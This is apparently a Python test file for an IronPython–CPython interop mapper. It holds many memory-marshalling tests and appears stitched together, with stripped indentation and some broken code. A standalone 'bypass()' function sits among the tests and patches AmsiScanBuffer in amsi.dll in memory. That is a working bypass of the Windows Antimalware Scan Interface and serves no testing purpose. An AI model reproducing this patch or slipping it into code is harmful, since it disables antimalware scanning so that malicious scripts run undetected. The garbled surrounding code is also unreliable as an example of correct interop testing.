def testInternExisting(self, mapper, addToCleanUp):
testString = "mars needs women" + self.getStringWithValues(1, 256)
bytes = self.byteArrayFromString(testString)
testData = self.ptrFromByteArray(bytes)
sp1 = mapper.PyString_FromString(testData)
addToCleanUp(lambda: Marshal.FreeHGlobal(sp1p))
sp2 = mapper.PyString_InternFromString(testData)
addToCleanUp(lambda: Marshal.FreeHGlobal(testData))
self.assertNotEquals(sp1, sp2)
self.assertFalse(mapper.Retrieve(sp1) is mapper.Retrieve(sp2))
self.assertEquals(mapper.RefCount(sp1), 1)
self.assertEquals(
mapper.RefCount(sp2), 2,
'failed to grab extra reference to induce immortality')
mapper.IncRef(sp1)
sp1p = Marshal.AllocHGlobal(Marshal.SizeOf(IntPtr))
CPyMarshal.WritePtr(sp1p, sp1)
mapper.PyString_InternInPlace(sp1p)
sp1i = CPyMarshal.ReadPtr(sp1p)
self.assertEquals(sp1i, sp2, 'failed to intern')
self.assertTrue(mapper.Retrieve(sp1i) is mapper.Retrieve(sp2))
self.assertEquals(mapper.RefCount(sp1), 1,
'failed to decref old string')
self.assertEquals(mapper.RefCount(sp2), 3,
'failed to incref interned string')
def testWriteCStringField(self):
data = Marshal.AllocHGlobal(Marshal.SizeOf(PyTypeObject()))
CPyMarshal.Zero(data, Marshal.SizeOf(PyTypeObject()))
string = "Hey, I am a string. I have tricksy \\escapes\\."
CPyMarshal.WriteCStringField(data, PyTypeObject, "tp_doc", string)
self.assertEquals(
CPyMarshal.ReadCStringField(data, PyTypeObject, "tp_doc"), string,
"failed to read correctly")
Marshal.FreeHGlobal(
CPyMarshal.ReadPtrField(data, PyTypeObject, "tp_doc"))
Marshal.FreeHGlobal(data)
def bypass():
asbSTR = Marshal.StringToHGlobalAnsi("AmsiScanBuffer")
asbHandle = NativeMethods.LoadLibrary("amsi.dll")
asbPtr = NativeMethods.GetProcAddress(asbHandle, asbSTR)
old = Marshal.AllocHGlobal(4)
prot = NativeMethods.VirtualProtect(asbPtr, 0x0015, 0x40, old)
patch = System.Array[System.Byte]((0x33, 0xff, 0x90))
unPtr = Marshal.AllocHGlobal(3)
Marshal.Copy(patch, 0, unPtr, 3)
NativeMethods.RtlMoveMemory(asbPtr + 0x001b, unPtr, 3)
Marshal.FreeHGlobal(old)
Marshal.FreeHGlobal(unPtr)
def testStoreTypeDictCreatesDictTypeWhichWorks(self, mapper, addToCleanUp):
typeBlock = Marshal.AllocHGlobal(Marshal.SizeOf(PyTypeObject))
addToCleanUp(lambda: Marshal.FreeHGlobal(typeBlock))
mapper.RegisterData("PyDict_Type", typeBlock)
class klass(object):
pass
dictPtr = mapper.Store(klass.__dict__)
self.assertEquals(
CPyMarshal.ReadPtrField(dictPtr, PyObject, "ob_type"), typeBlock,
"wrong type")
self.assertEquals(
mapper.PyDict_SetItemString(dictPtr, 'foo', mapper.Store('bar')),
0)
self.assertEquals(
mapper.PyDict_SetItem(dictPtr, mapper.Store('baz'),
mapper.Store('qux')), 0)
self.assertEquals(
mapper.Retrieve(mapper.PyDict_GetItemString(dictPtr, 'foo')),
'bar')
self.assertEquals(
mapper.Retrieve(mapper.PyDict_GetItem(dictPtr,
mapper.Store('baz'))), 'qux')
self.assertEquals(klass.foo, 'bar')
self.assertEquals(klass.baz, 'qux')
self.assertEquals(mapper.PyDict_Size(dictPtr), len(klass.__dict__))
def testPyType_Ready(self, mapper, addToCleanUp):
typePtr = Marshal.AllocHGlobal(Marshal.SizeOf(PyTypeObject()))
CPyMarshal.Zero(typePtr, Marshal.SizeOf(PyTypeObject()))
addToCleanUp(lambda: Marshal.FreeHGlobal(typePtr))
self.assertEquals(mapper.PyType_Ready(typePtr), 0, "wrong")
self.assertEquals(
CPyMarshal.ReadPtrField(typePtr, PyTypeObject, "ob_type"),
mapper.PyType_Type, "failed to fill in missing ob_type")
self.assertEquals(
CPyMarshal.ReadPtrField(typePtr, PyTypeObject, "tp_base"),
mapper.PyBaseObject_Type, "failed to fill in missing tp_base")
tp_dict = mapper.Retrieve(
CPyMarshal.ReadPtrField(typePtr, PyTypeObject, "tp_dict"))
self.assertEquals(mapper.Retrieve(typePtr).__dict__, tp_dict)
typeFlags = CPyMarshal.ReadIntField(typePtr, PyTypeObject, "tp_flags")
self.assertEquals(typeFlags & UInt32(Py_TPFLAGS.READY),
UInt32(Py_TPFLAGS.READY), "did not ready type")
self.assertEquals(
typeFlags & UInt32(Py_TPFLAGS.HAVE_CLASS),
UInt32(Py_TPFLAGS.HAVE_CLASS),
"we always set this flag, for no better reason than 'it makes ctypes kinda work'"
)
CPyMarshal.WritePtrField(typePtr, PyTypeObject, "ob_type", IntPtr.Zero)
self.assertEquals(mapper.PyType_Ready(typePtr), 0, "wrong")
self.assertEquals(
CPyMarshal.ReadPtrField(typePtr, PyTypeObject, "ob_type"),
IntPtr.Zero, "unexpectedly and unnecessarily rereadied type")
def testShrink(self):
allocs = []
frees = []
mapper = PythonMapper(GetAllocatingTestAllocator(allocs, frees))
deallocTypes = CreateTypes(mapper)
del allocs[:]
oldLength = 365
newLength = 20
ptrPtr = Marshal.AllocHGlobal(Marshal.SizeOf(IntPtr))
try:
strPtr = mapper.PyString_FromStringAndSize(IntPtr.Zero, oldLength)
Marshal.WriteIntPtr(ptrPtr, strPtr)
baseSize = Marshal.SizeOf(PyStringObject)
self.assertEquals(allocs, [(strPtr, oldLength + baseSize)],
"allocated wrong")
self.assertEquals(mapper._PyString_Resize(ptrPtr, newLength), 0,
"bad return on success")
self.assertHasStringType(strPtr, mapper)
self.assertStringObjectHasLength(strPtr, newLength)
self.assertEquals(allocs, [(strPtr, oldLength + baseSize)],
"unexpected extra alloc")
self.assertEquals(frees, [], "unexpected frees")
finally:
mapper.Dispose()
Marshal.FreeHGlobal(ptrPtr)
deallocTypes()
def testPyFile_Type(self, mapper, addToCleanUp):
typeBlock = Marshal.AllocHGlobal(Marshal.SizeOf(PyTypeObject))
addToCleanUp(lambda: Marshal.FreeHGlobal(typeBlock))
mapper.RegisterData("PyFile_Type", typeBlock)
self.assertEquals(mapper.PyFile_Type, typeBlock, "type address not stored")
self.assertEquals(mapper.Retrieve(typeBlock), file, "type not mapped")
def assertPyTuple_New_Works(self, length):
allocs = []
mapper = PythonMapper(GetAllocatingTestAllocator(allocs, []))
typeBlock = Marshal.AllocHGlobal(Marshal.SizeOf(PyTypeObject))
mapper.RegisterData("PyTuple_Type", typeBlock)
tuplePtr = mapper.PyTuple_New(length)
expectedSize = Marshal.SizeOf(PyTupleObject) + (CPyMarshal.PtrSize * (length - 1))
self.assertEquals(allocs, [(tuplePtr, expectedSize)], "bad alloc")
tupleStruct = Marshal.PtrToStructure(tuplePtr, PyTupleObject)
self.assertEquals(tupleStruct.ob_refcnt, 1, "bad refcount")
self.assertEquals(tupleStruct.ob_type, mapper.PyTuple_Type, "bad type")
self.assertEquals(tupleStruct.ob_size, length, "bad size")
self.assertEquals(mapper.PyTuple_Size(tuplePtr), length, "should still work with uninitialised tuple imo")
dataPtr = OffsetPtr(tuplePtr, Marshal.OffsetOf(PyTupleObject, "ob_item"))
itemPtrs = []
for i in range(length):
self.assertEquals(CPyMarshal.ReadPtr(dataPtr), IntPtr.Zero, "item memory not zeroed")
itemPtr = mapper.Store(i + 100)
CPyMarshal.WritePtr(dataPtr, itemPtr)
itemPtrs.append(itemPtr)
dataPtr = OffsetPtr(dataPtr, CPyMarshal.PtrSize)
immutableTuple = mapper.Retrieve(tuplePtr)
self.assertEquals(immutableTuple, tuple(i + 100 for i in range(length)), "broken")
tuplePtr2 = mapper.Store(immutableTuple)
self.assertEquals(tuplePtr2, tuplePtr, "didn't realise already had this object stored")
self.assertEquals(mapper.RefCount(tuplePtr), 2, "didn't incref")
mapper.Dispose()
Marshal.FreeHGlobal(typeBlock)
def testStoreTupleCreatesTupleType(self):
allocs = []
mapper = PythonMapper(GetAllocatingTestAllocator(allocs, []))
typeBlock = Marshal.AllocHGlobal(Marshal.SizeOf(PyTypeObject()))
mapper.RegisterData("PyTuple_Type", typeBlock)
theTuple = (0, 1, 2)
tuplePtr = mapper.Store(theTuple)
self.assertEquals(
CPyMarshal.ReadPtrField(tuplePtr, PyTupleObject, "ob_type"),
typeBlock, "wrong type")
dataPtr = OffsetPtr(tuplePtr, Marshal.OffsetOf(PyTupleObject,
"ob_item"))
for i in range(3):
item = mapper.Retrieve(CPyMarshal.ReadPtr(dataPtr))
self.assertEquals(item, i, "did not store data")
dataPtr = OffsetPtr(dataPtr, CPyMarshal.PtrSize)
tuplePtr2 = mapper.Store(theTuple)
self.assertEquals(tuplePtr2, tuplePtr,
"didn't realise already had this tuple")
self.assertEquals(mapper.RefCount(tuplePtr), 2, "didn't incref")
mapper.Dispose()
Marshal.FreeHGlobal(typeBlock)
def testBufferProtocol(self, mapper, later):
# should all be implemented in C really, but weaving cpy string type into
# our code feels too much like hard work for now
strPtr = mapper.PyString_Type
bufPtr = CPyMarshal.ReadPtrField(strPtr, PyTypeObject, 'tp_as_buffer')
self.assertNotEquals(bufPtr, IntPtr.Zero)
getreadbuffer = CPyMarshal.ReadFunctionPtrField(
bufPtr, PyBufferProcs, 'bf_getreadbuffer', dgt_int_ptrintptr)
getwritebuffer = CPyMarshal.ReadFunctionPtrField(
bufPtr, PyBufferProcs, 'bf_getwritebuffer', dgt_int_ptrintptr)
getcharbuffer = CPyMarshal.ReadFunctionPtrField(
bufPtr, PyBufferProcs, 'bf_getcharbuffer', dgt_int_ptrintptr)
getsegcount = CPyMarshal.ReadFunctionPtrField(bufPtr, PyBufferProcs,
'bf_getsegcount',
dgt_int_ptrptr)
ptrptr = Marshal.AllocHGlobal(Marshal.SizeOf(IntPtr))
later(lambda: Marshal.FreeHGlobal(ptrptr))
strptr = mapper.Store("hullo")
for getter in (getreadbuffer, getcharbuffer):
self.assertEquals(getter(strptr, 0, ptrptr), 5)
self.assertEquals(
CPyMarshal.ReadPtr(ptrptr),
CPyMarshal.GetField(strptr, PyStringObject, 'ob_sval'))
self.assertEquals(getter(strptr, 1, ptrptr), -1)
self.assertMapperHasError(mapper, SystemError)
self.assertEquals(getwritebuffer(strptr, 0, ptrptr), -1)
self.assertMapperHasError(mapper, SystemError)
self.assertEquals(getsegcount(strptr, ptrptr), 1)
self.assertEquals(CPyMarshal.ReadInt(ptrptr), 5)
self.assertEquals(getsegcount(strptr, IntPtr.Zero), 1)
def testActualiseFloat(self, mapper, call_later):
fptr = Marshal.AllocHGlobal(Marshal.SizeOf(PyFloatObject))
call_later(lambda: Marshal.FreeHGlobal(fptr))
CPyMarshal.WritePtrField(fptr, PyFloatObject, "ob_type",
mapper.PyFloat_Type)
CPyMarshal.WriteIntField(fptr, PyFloatObject, "ob_refcnt", 1)
CPyMarshal.WriteDoubleField(fptr, PyFloatObject, "ob_fval", 1.234)
self.assertEquals(mapper.Retrieve(fptr), 1.234)
def test_PyTuple_Resize_TooBig(self, mapper, addDealloc):
tuplePtrPtr = Marshal.AllocHGlobal(CPyMarshal.PtrSize)
addDealloc(lambda: Marshal.FreeHGlobal(tuplePtrPtr))
tuplePtr = mapper.PyTuple_New(1)
CPyMarshal.WritePtr(tuplePtrPtr, tuplePtr)
self.assertEquals(mapper._PyTuple_Resize(tuplePtrPtr, 2000000000), -1)
self.assertEquals(CPyMarshal.ReadPtr(tuplePtrPtr), IntPtr.Zero)
def testReadDouble(self):
data = Marshal.AllocHGlobal(CPyMarshal.DoubleSize)
doubleStruct = DoubleStruct(2.2e22)
Marshal.StructureToPtr(doubleStruct, data, False)
self.assertEquals(CPyMarshal.ReadDouble(data), 2.2e22)
Marshal.FreeHGlobal(data)
def testWriteDouble(self):
data = Marshal.AllocHGlobal(CPyMarshal.DoubleSize)
CPyMarshal.WriteDouble(data, 2.2e22)
doubleStruct = PtrToStructure(data, DoubleStruct)
self.assertEquals(doubleStruct.value, 2.2e22)
Marshal.FreeHGlobal(data)
def testPyType_IsSubtype_NullPtrs(self, mapper, CallLater):
type_size = Marshal.SizeOf(PyTypeObject)
ptr = Marshal.AllocHGlobal(type_size)
CallLater(lambda: Marshal.FreeHGlobal(ptr))
CPyMarshal.Zero(ptr, type_size)
self.assertTrue(mapper.PyType_IsSubtype(ptr, mapper.PyBaseObject_Type))
self.assertTrue(mapper.PyType_IsSubtype(ptr, ptr))
def testWritePtrField(self):
data = Marshal.AllocHGlobal(Marshal.SizeOf(PyObject()))
CPyMarshal.Zero(data, Marshal.SizeOf(PyObject()))
CPyMarshal.WritePtrField(data, PyObject, "ob_type", IntPtr(12345))
dataStruct = PtrToStructure(data, PyObject)
self.assertEquals(dataStruct.ob_type, IntPtr(12345), "failed to write")
Marshal.FreeHGlobal(data)
def testStoreDictCreatesDictType(self, mapper, addToCleanUp):
typeBlock = Marshal.AllocHGlobal(Marshal.SizeOf(PyTypeObject))
addToCleanUp(lambda: Marshal.FreeHGlobal(typeBlock))
mapper.RegisterData("PyDict_Type", typeBlock)
dictPtr = mapper.Store({0: 1, 2: 3})
self.assertEquals(
CPyMarshal.ReadPtrField(dictPtr, PyObject, "ob_type"), typeBlock,
"wrong type")
def testCreateEllipsis(self, mapper, addToCleanUp):
ellipsisTypePtr = Marshal.AllocHGlobal(Marshal.SizeOf(PyTypeObject))
addToCleanUp(lambda: Marshal.FreeHGlobal(ellipsisTypePtr))
ellipsisPtr = Marshal.AllocHGlobal(Marshal.SizeOf(PyObject))
addToCleanUp(lambda: Marshal.FreeHGlobal(ellipsisPtr))
mapper.RegisterData("PyEllipsis_Type", ellipsisTypePtr)
mapper.RegisterData("_Py_EllipsisObject", ellipsisPtr)
self.assertEquals(
CPyMarshal.ReadPtrField(ellipsisPtr, PyObject, "ob_type"),
mapper.PyEllipsis_Type)
self.assertEquals(
CPyMarshal.ReadIntField(ellipsisPtr, PyObject, "ob_refcnt"), 1)
self.assertEquals(mapper.Store(Ellipsis), ellipsisPtr)
self.assertEquals(mapper.RefCount(ellipsisPtr), 2)
def testWriteDoubleField(self):
data = Marshal.AllocHGlobal(Marshal.SizeOf(PyFloatObject()))
CPyMarshal.Zero(data, Marshal.SizeOf(PyFloatObject()))
CPyMarshal.WriteDoubleField(data, PyFloatObject, "ob_fval", 7.6e-5)
dataStruct = PtrToStructure(data, PyFloatObject)
self.assertEquals(dataStruct.ob_fval, 7.6e-5)
Marshal.FreeHGlobal(data)
def testFills(self, mapper, addToCleanUp):
# TODO: if we set a lower value, numpy will crash inside arr_add_docstring
# I consider docstrings to be low-priority-enough that it's OK to fudge this
# for now. also, fixing it would be hard ;).
flagPtr = Marshal.AllocHGlobal(Marshal.SizeOf(Int32))
addToCleanUp(lambda: Marshal.FreeHGlobal(flagPtr))
mapper.RegisterData("Py_OptimizeFlag", flagPtr)
self.assertEquals(CPyMarshal.ReadInt(flagPtr), 2)
def testWorksWithNonString(self, mapper, addDealloc):
dataPtrPtr = Marshal.AllocHGlobal(CPyMarshal.PtrSize * 2)
sizePtr = CPyMarshal.Offset(dataPtrPtr, CPyMarshal.PtrSize)
addDealloc(lambda: Marshal.FreeHGlobal(dataPtrPtr))
self.assertEquals(
mapper.PyString_AsStringAndSize(mapper.Store(object()), dataPtrPtr,
sizePtr), -1)
self.assertMapperHasError(mapper, TypeError)
def testReadByte(self):
data = Marshal.AllocHGlobal(1)
Marshal.WriteByte(data, 0)
self.assertEquals(CPyMarshal.ReadByte(data), 0, "wrong")
Marshal.WriteByte(data, 255)
self.assertEquals(CPyMarshal.ReadByte(data), 255, "wrong")
Marshal.FreeHGlobal(data)
def testNotAutoActualisableTypes(self, mapper, _):
safeTypes = "PyString_Type PyList_Type PyTuple_Type PyType_Type PyFile_Type PyFloat_Type".split()
discoveryModes = ("IncRef", "Retrieve", "DecRef", "RefCount")
for _type in filter(lambda s: s not in safeTypes, BUILTIN_TYPES):
for mode in discoveryModes:
objPtr = Marshal.AllocHGlobal(Marshal.SizeOf(PyObject))
CPyMarshal.WriteIntField(objPtr, PyObject, "ob_refcnt", 2)
CPyMarshal.WritePtrField(objPtr, PyObject, "ob_type", getattr(mapper, _type))
self.assertRaises(CannotInterpretException, getattr(mapper, mode), objPtr)
Marshal.FreeHGlobal(objPtr)
def testReadCStringFieldEmpty(self):
data = Marshal.AllocHGlobal(Marshal.SizeOf(PyTypeObject()))
CPyMarshal.Zero(data, Marshal.SizeOf(PyTypeObject()))
CPyMarshal.WritePtrField(data, PyTypeObject, "tp_doc", IntPtr.Zero)
self.assertEquals(
CPyMarshal.ReadCStringField(data, PyTypeObject, "tp_doc"), "",
"failed to read correctly")
Marshal.FreeHGlobal(data)
def testReadPtr(self):
data = Marshal.AllocHGlobal(CPyMarshal.PtrSize)
Marshal.WriteIntPtr(data, IntPtr(0))
self.assertEquals(CPyMarshal.ReadPtr(data), IntPtr(0), "wrong")
Marshal.WriteIntPtr(data, IntPtr(100001))
self.assertEquals(CPyMarshal.ReadPtr(data), IntPtr(100001), "wrong")
Marshal.FreeHGlobal(data)
def testWriteUInt(self):
data = Marshal.AllocHGlobal(CPyMarshal.IntSize)
CPyMarshal.WriteUInt(data, 0)
self.assertEquals(Marshal.ReadInt32(data), 0, "wrong")
CPyMarshal.WriteUInt(data, 0xFFFFFFFF)
self.assertEquals(Marshal.ReadInt32(data), -1, "wrong")
Marshal.FreeHGlobal(data)
def testReadUInt(self):
data = Marshal.AllocHGlobal(CPyMarshal.IntSize)
Marshal.WriteInt32(data, 0)
self.assertEquals(CPyMarshal.ReadUInt(data), 0, "wrong")
Marshal.WriteInt32(data, -1)
self.assertEquals(CPyMarshal.ReadUInt(data), 0xFFFFFFFF, "wrong")
Marshal.FreeHGlobal(data)
def testReadPtrField(self):
data = Marshal.AllocHGlobal(Marshal.SizeOf(PyTypeObject()))
CPyMarshal.Zero(data, Marshal.SizeOf(PyTypeObject()))
CPyMarshal.WritePtrField(data, PyTypeObject, "tp_doc", IntPtr(12345))
self.assertEquals(
CPyMarshal.ReadPtrField(data, PyTypeObject, "tp_doc"),
IntPtr(12345), "failed to read")
Marshal.FreeHGlobal(data)
def testWriteIntField(self):
data = Marshal.AllocHGlobal(Marshal.SizeOf(PyIntObject()))
CPyMarshal.Zero(data, Marshal.SizeOf(PyIntObject()))
for value in (Int32.MaxValue, Int32.MinValue):
CPyMarshal.WriteIntField(data, PyIntObject, "ob_ival", value)
dataStruct = PtrToStructure(data, PyIntObject)
self.assertEquals(dataStruct.ob_ival, value, "failed to write")
Marshal.FreeHGlobal(data)
def testNotADict(self, mapper, addDealloc):
posPtr = Marshal.AllocHGlobal(CPyMarshal.PtrSize)
addDealloc(lambda: Marshal.FreeHGlobal(posPtr))
CPyMarshal.WriteInt(posPtr, 0)
self.assertEquals(
mapper.PyDict_Next(mapper.Store(object()), posPtr, IntPtr.Zero,
IntPtr.Zero), 0)
self.assertMapperHasError(mapper, TypeError)